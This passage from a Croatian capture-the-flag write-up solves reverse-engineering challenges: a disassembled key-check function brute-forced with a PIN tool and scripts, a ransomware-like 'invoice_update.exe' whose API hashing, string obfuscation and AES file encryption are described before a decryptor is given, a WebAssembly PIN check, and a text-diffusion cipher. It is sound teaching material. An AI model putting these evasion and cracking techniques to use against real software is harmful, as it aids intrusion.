│      ┌──> 0x0040168e      488b45e8       mov rax, qword [seed]
│      ╎│   0x00401692      4883c001       add rax, 1
│      ╎│   0x00401696      0fb600         movzx eax, byte [rax]
│      ╎│   0x00401699      0fbec0         movsx eax, al
│      ╎│   0x0040169c      0faf45f4       imul eax, dword [var_ch]
│      ╎│   0x004016a0      0145fc         add dword [var_4h], eax
│      ╎│   0x004016a3      c145fc04       rol dword [var_4h], 4
│      ╎│   0x004016a7      8345f401       add dword [var_ch], 1
│      ╎│   ; CODE XREF from sym.cypher @ 0x40168c(x)
│      ╎└─> 0x004016ab      0fb645fb       movzx eax, byte [var_5h]
│      ╎    0x004016af      3945f4         cmp dword [var_ch], eax
│      └──< 0x004016b2      7cda           jl 0x40168e
│           0x004016b4      488b45e8       mov rax, qword [seed]
│           0x004016b8      4883c002       add rax, 2
│           0x004016bc      0fb610         movzx edx, byte [rax]
│           0x004016bf      488b45e8       mov rax, qword [seed]
│           0x004016c3      4883c003       add rax, 3
│           0x004016c7      0fb600         movzx eax, byte [rax]
│           0x004016ca      31d0           xor eax, edx
│           0x004016cc      8845fb         mov byte [var_5h], al
│       ┌─< 0x004016cf      eb2a           jmp 0x4016fb
│       │   ; CODE XREF from sym.cypher @ 0x4016ff(x)
│      ┌──> 0x004016d1      0fb645fb       movzx eax, byte [var_5h]
│      ╎│   0x004016d5      83e801         sub eax, 1
│      ╎│   0x004016d8      8845fb         mov byte [var_5h], al
│      ╎│   0x004016db      0fb645fb       movzx eax, byte [var_5h]
│      ╎│   0x004016df      0945fc         or dword [var_4h], eax
│      ╎│   0x004016e2      488b45e8       mov rax, qword [seed]
│      ╎│   0x004016e6      4883c002       add rax, 2
│      ╎│   0x004016ea      0fb600         movzx eax, byte [rax]
│      ╎│   0x004016ed      0fbed0         movsx edx, al
│      ╎│   0x004016f0      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x004016f3      01d0           add eax, edx
│      ╎│   0x004016f5      c1c003         rol eax, 3
│      ╎│   0x004016f8      8945fc         mov dword [var_4h], eax
│      ╎│   ; CODE XREF from sym.cypher @ 0x4016cf(x)
│      ╎└─> 0x004016fb      807dfb00       cmp byte [var_5h], 0
│      └──< 0x004016ff      75d0           jne 0x4016d1
│           0x00401701      488b45e8       mov rax, qword [seed]
│           0x00401705      4883c004       add rax, 4
│           0x00401709      0fb600         movzx eax, byte [rax]
│           0x0040170c      89c1           mov ecx, eax
│           0x0040170e      488b45e8       mov rax, qword [seed]
│           0x00401712      4883c005       add rax, 5
│           0x00401716      0fb600         movzx eax, byte [rax]
│           0x00401719      89c2           mov edx, eax
│           0x0040171b      89c8           mov eax, ecx
│           0x0040171d      0fafc2         imul eax, edx
│           0x00401720      8845fb         mov byte [var_5h], al
│       ┌─< 0x00401723      eb27           jmp 0x40174c
│       │   ; CODE XREF from sym.cypher @ 0x401750(x)
│      ┌──> 0x00401725      488b45e8       mov rax, qword [seed]
│      ╎│   0x00401729      4883c004       add rax, 4
│      ╎│   0x0040172d      0fb600         movzx eax, byte [rax]
│      ╎│   0x00401730      2845fb         sub byte [var_5h], al
│      ╎│   0x00401733      488b45e8       mov rax, qword [seed]
│      ╎│   0x00401737      4883c004       add rax, 4
│      ╎│   0x0040173b      0fb600         movzx eax, byte [rax]
│      ╎│   0x0040173e      0fbed0         movsx edx, al
│      ╎│   0x00401741      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x00401744      01d0           add eax, edx
│      ╎│   0x00401746      c1c007         rol eax, 7
│      ╎│   0x00401749      8945fc         mov dword [var_4h], eax
│      ╎│   ; CODE XREF from sym.cypher @ 0x401723(x)
│      ╎└─> 0x0040174c      807dfb00       cmp byte [var_5h], 0
│      └──< 0x00401750      75d3           jne 0x401725
│           0x00401752      c645fb64       mov byte [var_5h], 0x64     ; 'd'
│       ┌─< 0x00401756      eb34           jmp 0x40178c
│       │   ; CODE XREF from sym.cypher @ 0x401790(x)
│      ┌──> 0x00401758      0fb645fb       movzx eax, byte [var_5h]
│      ╎│   0x0040175c      488b55e8       mov rdx, qword [seed]
│      ╎│   0x00401760      4883c206       add rdx, 6
│      ╎│   0x00401764      0fb612         movzx edx, byte [rdx]
│      ╎│   0x00401767      0fbed2         movsx edx, dl
│      ╎│   0x0040176a      8d72d2         lea esi, [rdx - 0x2e]
│      ╎│   0x0040176d      99             cdq
│      ╎│   0x0040176e      f7fe           idiv esi
│      ╎│   0x00401770      8845fb         mov byte [var_5h], al
│      ╎│   0x00401773      488b45e8       mov rax, qword [seed]
│      ╎│   0x00401777      4883c007       add rax, 7
│      ╎│   0x0040177b      0fb600         movzx eax, byte [rax]
│      ╎│   0x0040177e      0fbed0         movsx edx, al
│      ╎│   0x00401781      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x00401784      01d0           add eax, edx
│      ╎│   0x00401786      c1c00b         rol eax, 0xb
│      ╎│   0x00401789      8945fc         mov dword [var_4h], eax
│      ╎│   ; CODE XREF from sym.cypher @ 0x401756(x)
│      ╎└─> 0x0040178c      807dfb00       cmp byte [var_5h], 0
│      └──< 0x00401790      75c6           jne 0x401758
│           0x00401792      488b45e8       mov rax, qword [seed]
│           0x00401796      4883c008       add rax, 8
│           0x0040179a      8b00           mov eax, dword [rax]
│           0x0040179c      89c7           mov edi, eax                ; uint32_t seed
│           0x0040179e      e84d820000     call sym.__srandom          ; uint32_t srandom(uint32_t seed)
│           0x004017a3      e838820000     call sym.rand               ; int rand(void)
│           0x004017a8      8945f0         mov dword [var_10h], eax
│           0x004017ab      8b45fc         mov eax, dword [var_4h]
│           0x004017ae      89c7           mov edi, eax                ; uint32_t seed
│           0x004017b0      e83b820000     call sym.__srandom          ; uint32_t srandom(uint32_t seed)
│           0x004017b5      e826820000     call sym.rand               ; int rand(void)
│           0x004017ba      89c2           mov edx, eax
│           0x004017bc      8b45f0         mov eax, dword [var_10h]
│           0x004017bf      01d0           add eax, edx
│           0x004017c1      c9             leave
└           0x004017c2      c3             ret

Vidljivo je da se pojavljuju četiri petlje. Petlje ovise o vrijednostima zastavice te svaka petlja utječe na varijablu local_c. Na primjer, u drugoj petlji:

  local_d = param_1[3] ^ param_1[2];
  while (local_d != 0) {
    local_d = local_d - 1;
    uVar1 = (local_c | local_d) + (int)param_1[2];
    local_c = uVar1 * 8 | uVar1 >> 0x1d;
  }

vrijednost local_d sadrži rezultat XOR operacije trećeg i četvrtog bajta ključa. S obzirom na to da se jedino u toj petlji pojavljuje instrukcija or koja je izvršena samo jednom (u ispisu PIN analize), može se zaključiti da je rezultat XOR operacija nad trećim i četvrtim bajtom 1.

Na sličan način, dođe se do ostalih zaključaka:

key[2]^key[3] = 1
key[5] = 56 = "8"
idiv: 7 -> 100/(x**7) < 1 i 100/(x**6) > 1 -> key[6] - 0x2e = 2 -> key[6] = "0"
key[0] - key[1] = 5

Dobiveni su odnosi bajtova te čak otkrivene konkretne vrijednosti ključa. Time se znatno smanjio prostor za bruteforce napad.

Kako bi se otkrio ključ, potrebno je:

1. Dobiti sve kandidate za srand() i rand() prvih 8 bajtova. 2. Bruteforce napad nad srand() i rand() zadnja 4 bajta i pregled daje li zbroj tajni ključ.

Rješenje

Za dobivanje kandidata u rješenju se koristi PIN:

#include <stdio.h>
#include "pin.H"
struct candidate{
	unsigned char key[9] = {0};
	unsigned int result;
};
struct candidate c;
VOID get_key(ADDRINT rdiValue){
	memcpy(&c.key, (char*) rdiValue, 8);
}
 
VOID get_result(ADDRINT eaxValue){
	c.result = eaxValue;
}
VOID instrument(INS ins, VOID* v){
	ADDRINT addr = INS_Address(ins);
	if (addr == 0x00401655){
	       INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)get_key,
               IARG_REG_VALUE, LEVEL_BASE::REG_RDI, IARG_END);
	}
	else if (addr == 0x004017ba){
	       INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)get_result,
               IARG_REG_VALUE, REG_EAX, IARG_END);
	}
 
}
VOID fini(INT32 code, VOID* v){
	printf("%s %u\n", c.key, c.result);
}
int main(int argc, char** argv){
	PIN_Init(argc, argv);
	INS_AddInstrumentFunction(instrument, 0);
	PIN_AddFiniFunction(fini, 0);
	PIN_StartProgram();
	return 0;
}

Bruteforce zadnjih četiri znamenki:

#include <stdio.h>
#include <stdlib.h>
 
int main(){
	for(char key_8 = 48; key_8 < 58; key_8++){
		for(char key_9 = 48; key_9 < 58; key_9++){
			for(char key_10 = 48; key_10 < 58; key_10++){
				for(char key_11 = 48; key_11 < 58; key_11++){
					char buf[5] = {key_8, key_9, key_10, key_11, 0};
					srand(*(unsigned int*) &buf);
					unsigned int result = rand();
					printf("%s %u\n", &buf, result);
	}}}}
	return 0;
}

Python skripta:

from pwn import *
import os
if not os.path.isfile("./candidates.txt"):
    candidates = []
 
    pin = "/home/hacknite/pin-external-4.4-99977-g54fbb8814-gcc-linux/pin"
    pintool = "/home/hacknite/pin-external-4.4-99977-g54fbb8814-gcc-linux/source/tools/hacknite_rev/obj-intel64/rand_candidates.so"
 
    i = 0
 
    for key_1 in range(48, 48 + 5):
        key_0 = key_1 + 5
        for key_2 in range(48, 58):
            key_3 = key_2 ^ 1
            for key_4 in range(48, 58):
                for key_7 in range(48, 58):
                    key = bytearray(b"000008000000")
                    key[0] = key_0
                    key[1] = key_1
                    key[2] = key_2
                    key[3] = key_3
                    key[4] = key_4
                    key[7] = key_7
                    p = process([pin, "-t", pintool, "--", "./a.out"])
                    p.sendline(key)
                    p.recvline()
                    flag_cand, result = p.recvline()[:-1].split(b" ")
                    result = int(result)
                    candidates.append((flag_cand, result))
                    p.kill()
                    print(i)
                    i = i + 1
 
    with open("candidates.txt", "w") as f:
        for v in candidates:
            flag_cand, result = v
            l = flag_cand.decode() + " " + str(result) + "\n"
            f.write(l)
 
target = 1440919487
candidates = []
with open("candidates.txt", "r") as f:
    lines = f.readlines()
    for l in lines:
        cand, result = l.split(" ")
        result = int(result)
        candidates.append((cand, result))
 
 
p = process("./bruteforce.out")
brute = p.recvall().decode()
brute = brute.split("\n")[:-1]
for v in brute:
    cand2, result2 = v.split(" ")
    result2 = int(result2)
    for c in candidates:
        cand, result = c
        if (result + result2) == target:
            print(f"CTF2026[{cand+cand2}]")
            exit()

Skripta najprije sakuplja sve moguće kandidate prvih osam bajtova PIN alatom. Korištenjem odnosa i vrijednosti bajtova znamenki ključa, unosi sve moguće vrijednosti u program, gdje PIN zatim ispisuje srand i rand kandidate.

Zatim, pokretanjem bruteforce skripte dobivaju se kandidati zadnjih četiri bajta ključa za srand i rand funkcije te gleda daje li zbroj rand funkcije s nekim kandidatom prvih osam bajtova vrijednost tajnog ključa. Ako je zbroj isti, pronađena je zastavica.

Sumnjivi invoice_update.exe

Netko je pronašao sumnjivi program "invoice_update.exe" u svom downloads direktoriju.
Umjesto njegove "flag.txt" datoteke sada je prisutna samo datoteka "flag.encrypted".

Kontekst zadatka

Dane su datoteke flag.encrypted i invoice_update.exe.

Program radi sljedeće:

1. Loader.Initialize ručno parsira PE export tablicu kernel32.dll, pronalazi GetProcAddress preko FNV-1a hasha, pa preko njega resolva CreateFileW, ReadFile, WriteFile, GetFileSizeEx, CloseHandle, DeleteFileW. Imena API-ja i DLL-a su XOR-obfuscirana (0x5A / 0x37).

2. Locator.Find u trenutnom direktoriju traži datoteku čiji SHA-256 imena odgovara hashu stringa “flag.txt”.

3. NativeFile.Read – čita flag.txt preko raw Win32 API poziva.

4. DependencyChecks.CheckDependencies() – generira AES-256 ključ:

1. uzme Seed (16 bajtova)
2. XOR sa 0x37
3. Array.Reverse
4. SHA256 → 32 bajta = AES ključ

5. Transformer.Run – AES-256-CBC, IV = 16 nula, PKCS7 padding, enkriptira sadržaj.

6. NativeFile.Write – zapisuje rezultat kao <stem>.encrypted.

7. NativeFile.Remove – briše originalni flag.txt.

Dakle: flag.txt se enkriptira u flag.encrypted i original se obriše. Zastava je unutra, treba ju dekriptirati.

Ranjivost i ideja napada

Kako bi se zadatak riješio, potrebno je izvesti obrnuti postupak od programa:

1. Rekonstruirati AES ključ

2. Dekriptirati enkripciju ključa

Rješenje

#!/usr/bin/env python3
 
import hashlib
import sys
from pathlib import Path
 
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
 
SEED = bytes([
    0x91, 0xA4, 0x31, 0x72, 0x19, 0xF3, 0x88, 0x42,
    0x55, 0x10, 0xC7, 0x2A, 0x63, 0x11, 0xD4, 0x09
])
 
IV = b"\x00" * 16
 
 
def derive_key():
    # 1. XOR every byte with 0x37
    material = bytes(b ^ 0x37 for b in SEED)
 
    # 2. Reverse
    material = material[::-1]
 
    # 3. SHA-256 -> 32-byte AES-256 key
    return hashlib.sha256(material).digest()
 
 
def decrypt(data):
    key = derive_key()
 
    cipher = AES.new(
        key,
        AES.MODE_CBC,
        IV
    )
 
    plaintext = cipher.decrypt(data)
 
    # Equivalent to .NET PaddingMode.PKCS7
    return unpad(plaintext, AES.block_size)
 
 
def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} encrypted_file output_file")
        sys.exit(1)
 
    source = Path(sys.argv[1])
    destination = Path(sys.argv[2])
 
    encrypted = source.read_bytes()
    plaintext = decrypt(encrypted)
 
    destination.write_bytes(plaintext)
 
    print(f"Decrypted: {source}")
    print(f"Output:    {destination}")
 
 
if __name__ == "__main__":
    main()

Game Rev 1

Možete li pronaći tajnu prijavu i saznati tajni password?

http://chal.hacknite.hr:18001

Kontekst zadatka

Game Rev 1

Dane su datoteke game.js i game.wasm na klijentskoj strani preglednika.

Unutar game.wasm može se pronaći check_pin funkcija:

(func $check_pin (;10;) (export "check_pin") (param $var0 i32) (result i32)
    (local $var1 i32)
    (local $var2 i32)
    (local $var3 i32)
    (local $var4 i32)
    (local $var5 i32)
    (local $var6 i32)
    (local $var7 i32)
    (local $var8 i32)
    (local $var9 i32)
    global.get $__stack_pointer
    i32.const 16
    i32.sub
    local.tee $var1
    global.set $__stack_pointer
    block $label1
      block $label0
        local.get $var0
        call $strlen
        i32.const 12
        i32.eq
        br_if $label0
        i32.const 0
        local.set $var2
        br $label1
      end $label0
      i32.const 0
      local.set $var2
      i32.const 0
      i32.load offset=1040
      local.tee $var3
      i32.eqz
      br_if $label1
      local.get $var1
      i32.const 0
      i32.store offset=8
      local.get $var1
      i64.const 0
      i64.store
      i32.const 0
      local.set $var2
      i32.const 100
      local.set $var4
      loop $label3
        local.get $var2
        local.set $var5
        i32.const 0
        local.set $var2
        i32.const 0
        local.set $var6
        local.get $var4
        local.tee $var7
        local.set $var4
        loop $label2
          local.get $var2
          i32.const 1
          i32.add
          local.tee $var8
          local.set $var2
          local.get $var3
          local.get $var4
          local.tee $var4
          i32.add
          i32.load8_u
          i32.const 1
          i32.and
          local.get $var6
          i32.const 1
          i32.shl
          i32.or
          local.tee $var9
          local.set $var6
          local.get $var4
          i32.const 4
          i32.add
          local.set $var4
          local.get $var8
          i32.const 8
          i32.ne
          br_if $label2
        end $label2
        local.get $var1
        local.get $var5
        i32.add
        local.get $var9
        i32.store8
        local.get $var5
        i32.const 1
        i32.add
        local.tee $var6
        local.set $var2
        local.get $var7
        i32.const 32
        i32.add
        local.set $var4
        local.get $var6
        i32.const 12
        i32.ne
        br_if $label3
      end $label3
      i32.const 0
      i32.load8_u offset=1032
      i32.const -7
      i32.add
      local.tee $var2
      local.get $var2
      i32.mul
      i32.const 100
      i32.mul
      i32.const 66
      i32.add
      i32.const 255
      i32.and
      local.set $var8
      i32.const 0
      local.set $var2
      block $label5
        block $label4
          loop $label6
            local.get $var0
            local.get $var2
            local.tee $var2
            i32.add
            i32.load8_u
            local.tee $var6
            i32.const -58
            i32.add
            i32.const 255
            i32.and
            i32.const 246
            i32.lt_u
            br_if $label4
            local.get $var6
            i32.const 255
            i32.and
            local.get $var8
            local.get $var1
            local.get $var2
            i32.add
            i32.load8_u
            i32.xor
            i32.ne
            br_if $label4
            local.get $var2
            i32.const 1
            i32.add
            local.tee $var6
            local.set $var2
            i32.const 1
            local.set $var4
            local.get $var6
            i32.const 12
            i32.eq
            br_if $label5
            br $label6
          end $label6
        end $label4
        i32.const 0
        local.set $var4
      end $label5
      local.get $var4
      local.set $var2
    end $label1
    local.get $var1
    i32.const 16
    i32.add
    global.set $__stack_pointer
    local.get $var2
  )

Ranjivost i ideja napada

Korištenjem alata wasm2c dobije se izvorni kod check_pin funkcije:

u32 w2c__check_pin_0(w2c_* instance, u32 var_p0) {
  u32 var_l1 = 0, var_l2 = 0, var_l3 = 0, var_l4 = 0, var_l5 = 0, var_l6 = 0, var_l7 = 0, var_l8 = 0, 
      var_l9 = 0;
  FUNC_PROLOGUE;
  uint8_t* const wasm_rt_local_memory_base = (&instance->w2c_memory)->data;
  uint64_t wasm_rt_local_memory_size = (&instance->w2c_memory)->size;
  (void)wasm_rt_local_memory_base;
  (void)wasm_rt_local_memory_size;
  u32 var_i0, var_i1, var_i2, var_i3;
  u64 var_j1;
  var_i0 = instance->w2c_0x5F_stack_pointer;
  var_i1 = 16u;
  var_i0 -= var_i1;
  var_l1 = var_i0;
  instance->w2c_0x5F_stack_pointer = var_i0;
  var_i0 = var_p0;
  var_i0 = w2c__strlen(instance, var_i0);
  wasm_rt_local_memory_size = (&instance->w2c_memory)->size;
  var_i1 = 12u;
  var_i0 = var_i0 == var_i1;
  if (var_i0) {goto var_B1;}
  var_i0 = 0u;
  var_l2 = var_i0;
  goto var_B0;
  var_B1:;
  var_i0 = 0u;
  var_l2 = var_i0;
  var_i0 = 0u;
  var_i0 = i32_load_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 1040u);
  var_l3 = var_i0;
  var_i0 = !(var_i0);
  if (var_i0) {goto var_B0;}
  var_i0 = var_l1;
  var_i1 = 0u;
  i32_store_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 8u, var_i1);
  var_i0 = var_l1;
  var_j1 = 0ull;
  i64_store_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0), var_j1);
  var_i0 = 0u;
  var_l2 = var_i0;
  var_i0 = 100u;
  var_l4 = var_i0;
  var_L2: 
    var_i0 = var_l2;
    var_l5 = var_i0;
    var_i0 = 0u;
    var_l2 = var_i0;
    var_i0 = 0u;
    var_l6 = var_i0;
    var_i0 = var_l4;
    var_l7 = var_i0;
    var_l4 = var_i0;
    var_L3: 
      var_i0 = var_l2;
      var_i1 = 1u;
      var_i0 += var_i1;
      var_l8 = var_i0;
      var_l2 = var_i0;
      var_i0 = var_l3;
      var_i1 = var_l4;
      var_l4 = var_i1;
      var_i0 += var_i1;
      var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0));
      var_i1 = 1u;
      var_i0 &= var_i1;
      var_i1 = var_l6;
      var_i2 = 1u;
      var_i1 <<= (var_i2 & 31);
      var_i0 |= var_i1;
      var_l9 = var_i0;
      var_l6 = var_i0;
      var_i0 = var_l4;
      var_i1 = 4u;
      var_i0 += var_i1;
      var_l4 = var_i0;
      var_i0 = var_l8;
      var_i1 = 8u;
      var_i0 = var_i0 != var_i1;
      if (var_i0) {goto var_L3;}
    var_i0 = var_l1;
    var_i1 = var_l5;
    var_i0 += var_i1;
    var_i1 = var_l9;
    i32_store8_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0), var_i1);
    var_i0 = var_l5;
    var_i1 = 1u;
    var_i0 += var_i1;
    var_l6 = var_i0;
    var_l2 = var_i0;
    var_i0 = var_l7;
    var_i1 = 32u;
    var_i0 += var_i1;
    var_l4 = var_i0;
    var_i0 = var_l6;
    var_i1 = 12u;
    var_i0 = var_i0 != var_i1;
    if (var_i0) {goto var_L2;}
  var_i0 = 0u;
  var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 1032u);
  var_i1 = 4294967289u;
  var_i0 += var_i1;
  var_l2 = var_i0;
  var_i1 = var_l2;
  var_i0 *= var_i1;
  var_i1 = 100u;
  var_i0 *= var_i1;
  var_i1 = 66u;
  var_i0 += var_i1;
  var_i1 = 255u;
  var_i0 &= var_i1;
  var_l8 = var_i0;
  var_i0 = 0u;
  var_l2 = var_i0;
  var_L6: 
    var_i0 = var_p0;
    var_i1 = var_l2;
    var_l2 = var_i1;
    var_i0 += var_i1;
    var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0));
    var_l6 = var_i0;
    var_i1 = 4294967238u;
    var_i0 += var_i1;
    var_i1 = 255u;
    var_i0 &= var_i1;
    var_i1 = 246u;
    var_i0 = var_i0 < var_i1;
    if (var_i0) {goto var_B5;}
    var_i0 = var_l6;
    var_i1 = 255u;
    var_i0 &= var_i1;
    var_i1 = var_l8;
    var_i2 = var_l1;
    var_i3 = var_l2;
    var_i2 += var_i3;
    var_i2 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i2));
    var_i1 ^= var_i2;
    var_i0 = var_i0 != var_i1;
    if (var_i0) {goto var_B5;}
    var_i0 = var_l2;
    var_i1 = 1u;
    var_i0 += var_i1;
    var_l6 = var_i0;
    var_l2 = var_i0;
    var_i0 = 1u;
    var_l4 = var_i0;
    var_i0 = var_l6;
    var_i1 = 12u;
    var_i0 = var_i0 == var_i1;
    if (var_i0) {goto var_B4;}
    goto var_L6;
  var_B5:;
  var_i0 = 0u;
  var_l4 = var_i0;
  var_B4:;
  var_i0 = var_l4;
  var_l2 = var_i0;
  var_B0:;
  var_i0 = var_l1;
  var_i1 = 16u;
  var_i0 += var_i1;
  instance->w2c_0x5F_stack_pointer = var_i0;
  var_i0 = var_l2;
  FUNC_EPILOGUE;
  return var_i0;
}

Funkcija check_pin provjerava 12-znamenkasti PIN i traži da su ispunjena dva uvjeta istovremeno:

1. Iz audio buffera se čita najmanje značajan bit svakog 4. bajta, počevši od offseta 100. Tako se skupi 96 bitova koji daju 12 tajnih bajtova.

2. Očekivani znak računa se kao: expected[i] = secret[i] XOR (0x42 + (score − 7)**2 * 100). Kad je score točno 7, diff = 0, pa je ključ samo 0x42 i PIN je secret[i] ^ 0x42. Za bilo koji drugi score ključ se mijenja, pa očekivani znakovi nisu znamenke.

Dakle, da bi funkcija vratila 1, mora se dekodirati skriveni sadržaj iz audio datoteke i imati točno 7 bodova.

Rješenje

(() => {
  const M = Module;
  const H = () => window.HEAPU8;
  const pinAt = base => {
    const h = H(), s = new Uint8Array(12);
    let o = base + 100;
    if (o + 384 >= h.length) return null;
    for (let i = 0; i < 12; i++)
      for (let k = 0; k < 8; k++, o += 4)
        s[i] = (s[i] << 1) | (h[o] & 1);
    const pin = [...s].map(x => String.fromCharCode(x ^ 0x42)).join("");
    return /^[0-9]{12}$/.test(pin) ? pin : null;
  };
  const test = pin => {
    M._reset_game_state();
    for (let i = 0; i < 7; i++) M._increase_score();
    const p = M._malloc(13);
    window.HEAPU8.set(new TextEncoder().encode(pin + "\0"), p);
    const ok = M._check_pin(p);
    M._free(p);
    return ok === 1;
  };
  const h = H();
  for (let base = 0; base < Math.min(h.length - 600, 4e6); base += 4) {
    const pin = pinAt(base);
    if (pin && test(pin)) return console.log("FOUND:", pin, "at base", base);
  }
})();

Text Diffuser

Text difuzor i difuzirani flag, možete li ga refuzirati?

Kontekst zadatka

Dane su binarna datoteka diffusor i flag_dif.txt.

Flag_dif.txt sadrži nasumične znakove.

Binarni difuzor radi iduće:

1. Učitavanje i priprema

Učitava datoteku zadanu argumentom i smješta njezin sadržaj u pravokutnu matricu (M × M), dopunjenu razmacima i znakovima novog retka. Dimenzija M izračunava se iz najveće širine retka i broja redaka.

2. Generiranje ključa (invarijantni histogram)

Broji znakove u “invarijantne koševe”: 7 binova za ASCII raspon 33–123 (modulo 7), plus posebno za razmake, nove retke i ostale znakove. Iz tog histograma izračunava deterministički RNG seed, ključ ovisi samo o invarijantama, ne o konkretnom rasporedu znakova.

3. Difuzijska petlja (15 iteracija)

U svakoj iteraciji izvodi velik broj zamjena vođenih pseudoslučajnim brojevima. Koristi Feistelovu logiku hemisfere: odabire se nasumična ćelija (Obs_Idx), a zatim se određuje partner za zamjenu (B) na temelju njezine vrijednosti (ASCII fazni pomak). Ključna je invarijantna modulo mutacija: pri svakoj zamjeni znakovi se ne samo zamjenjuju, već i pomiču za višekratnik broja 7 unutar raspona 33–123. Time se čuva histogram po modulu 7, pa ključ ostaje isti, ali se sadržaj mijenja.

Ranjivost i ideja napada

Svaki pojedini korak naprijed je reverzibilan: zamjena je sama sebi inverz, a modulo pomak se poništava pomakom suprotnog predznaka. Dekripcija zato ne treba “isto polje zamjena primijenjeno obrnuto”, dovoljno je da se svaki korak izvede s obrnutim predznakom i u obrnutom redoslijedu.

1. Isti ključ u oba smjera

Ključ (rng_seed_base) računa se iz invarijantnog histograma. Histogram se ne mijenja zamjenama (samo se preuređuju znakovi), a modulo pomaci su višekratnici broja 7 unutar raspona 91 = 13·7, pa se modulo-7 binovi čuvaju. Zato je ključ identičan i pri difuziji i pri dekripciji.

2. PRNG tok je isti, ali partner B nije unaprijed fiksiran

U apply_diffusion_permutation za iteraciju i generira se P_array iz seeda + i. Iz svakog P1 izračuna se A (pozicija), a iz P2 i vrijednosti ćelije Obs_Idx (obs_val) računaju se smjer i udaljenost do partnera B. Budući da obs_val ovisi o trenutnom sadržaju buffera, polje (A, B) parova nije isto naprijed i unatrag, mijenja se kako se buffer mijenja.

3. Naprijed: iteracije 1 - 15, zamjene 0 s N−1, direction = +1

Modulo pomak ide u jednom smjeru (total_shift = offset · 7 · mutation_sign · (+1)).

4. Unatrag: iteracije 15 - 1, zamjene N−1 s 0, direction = −1

Koristi se isti P_array (isti seed, isti i), ista formula za A, ali se B računa iz trenutnog, djelomično vraćenog stanja buffera. Modulo pomak ide u suprotnom smjeru (total_shift = offset · 7 · mutation_sign · (−1)), što poništava odgovarajući pomak naprijed. Obrnuti redoslijed (i iteracija i zamjena) osigurava da se svaki korak poništi točno na mjestu gdje je primijenjen.

Rješenje

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define PADDING_CHAR ' '
#define SWAP_MULTIPLIER 20
#define MODULO_INVARIANT 7
#define USABLE_ASCII_RANGE 91
 
int main(int argc, char *argv[]) {
    if (argc != 3) return 1;
 
    FILE *fp = fopen(argv[1], "rb");
    if (!fp) return 1;
    fseek(fp, 0, SEEK_END);
    long long file_size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
 
    char *raw = (char*)malloc(file_size + 1);
    if (!raw) { fclose(fp); return 1; }
    fread(raw, 1, file_size, fp);
    raw[file_size] = '\0';
    fclose(fp);
 
    long long max_W = 0, lines = 0, current_W = 0;
    for (long long i = 0; i < file_size; ++i) {
        if (raw[i] == '\n') {
            if (current_W > max_W) max_W = current_W;
            current_W = 0;
            lines++;
        } else current_W++;
    }
    if (current_W > 0) { if (current_W > max_W) max_W = current_W; lines++; }
 
    long long M = (max_W > lines) ? max_W : lines;
    if (M < 2) M = 2;
 
    long long permutation_space_size = M * (M + 1);
    long long row_len = M + 1;
 
    char *buffer = (char*)malloc(permutation_space_size);
    for (long long r = 0; r < M; ++r) {
        for (long long c = 0; c < M; ++c) buffer[r * row_len + c] = PADDING_CHAR;
        buffer[r * row_len + M] = '\n';
    }
 
    long long raw_idx = 0, r = 0, c = 0;
    while (raw_idx < file_size) {
        if (raw[raw_idx] == '\n') { r++; c = 0; }
        else { buffer[r * row_len + c] = raw[raw_idx]; c++; }
        raw_idx++;
    }
    free(raw);
 
    long long invariant_histogram[10];
    memset(invariant_histogram, 0, sizeof(invariant_histogram));
    for (long long i = 0; i < permutation_space_size; ++i) {
        unsigned char ch = (unsigned char)buffer[i];
        if (ch == PADDING_CHAR) invariant_histogram[7]++;
        else if (ch == '\n') invariant_histogram[8]++;
        else if (ch >= 33 && ch < 33 + USABLE_ASCII_RANGE) {
            int bin = (ch - 33) % MODULO_INVARIANT;
            invariant_histogram[bin]++;
        } else invariant_histogram[9]++;
    }
 
    unsigned long long rng_seed_base = 0;
    for (int i = 0; i < 10; ++i)
        rng_seed_base = (rng_seed_base * 31 + invariant_histogram[i]);
    rng_seed_base = (rng_seed_base * 31 + permutation_space_size);
    rng_seed_base = (rng_seed_base * 31 + M);
    if (rng_seed_base == 0) rng_seed_base = 1;
 
    int num_states_to_advance = 15;
 
    long long total_cells = permutation_space_size;
    long long N_swaps = total_cells * SWAP_MULTIPLIER;
 
    unsigned long long *P_array = (unsigned long long*)malloc(sizeof(unsigned long long) * N_swaps * 2);
    if (!P_array) { free(buffer); return 1; }
 
    for (int iteration_num = num_states_to_advance; iteration_num >= 1; --iteration_num) {
        unsigned long long current_prng_state = rng_seed_base + iteration_num;
        if (current_prng_state == 0) current_prng_state = 1;
 
        for (long long k = 0; k < N_swaps * 2; ++k) {
            if (current_prng_state == 0) current_prng_state = 1;
            current_prng_state = (current_prng_state * 1664525UL + 1013904223UL) & 0xFFFFFFFFUL;
            P_array[k] = current_prng_state;
        }
 
        int mutation_sign = (iteration_num % 2 == 0) ? 1 : -1;
 
        for (long long k = N_swaps - 1; k >= 0; --k) {
            unsigned long long P1 = P_array[k * 2];
            unsigned long long P2 = P_array[k * 2 + 1];
 
            long long A = P1 % total_cells;
            long long row_A = A / row_len;
            long long col_A = A % row_len;
 
            int is_A_left = (col_A < M / 2);
            long long obs_col;
            if (is_A_left) obs_col = M / 2 + ((P1 / total_cells) % (M - M / 2));
            else obs_col = (P1 / total_cells) % (M / 2);
